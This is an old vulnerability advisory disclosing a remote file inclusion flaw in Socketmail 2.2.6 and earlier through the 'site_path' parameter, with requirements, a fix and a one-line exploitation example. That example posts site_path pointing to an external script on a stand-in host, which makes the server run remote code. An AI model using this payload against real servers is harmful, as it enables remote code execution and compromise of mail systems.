[MajorSecurity]Socketmail <= 2.2.6 - Remote File Include Vulnerability

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Software: Socketmail

Version: <=2.2.6

Type: Remote File Include Vulnerability

Date: May, 25th 2006

Vendor: Creative Digital Resources

Page: http://socketmail.com

Risc: High

Credits:

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'Aesthetico'

http://www.majorsecurity.de

Affected Products:

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Socketmail Lite 2.2.6 and prior

Socketmail Pro 2.2.6 and prior

Description:

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SocketMail is a powerful, scalable and fully customisable e-mail solution.

Ideal messaging solution for sizes web site and enterprises.

Requirements:

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register_globals = On

magic_quotes = On

Vulnerability:

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Input passed to the "site_path" parameter in "index.php" and "inc-common.php" is not

properly verified, before it is used to include files.

This can be exploited to execute arbitrary code by including files from external resources.

Solution:

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Edit the source code to ensure that input is properly sanitised.

Set "register_globals" to "Off".

Exploitation:

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Post data:

site_path=http://www.yourspace.com/yourscript.php?

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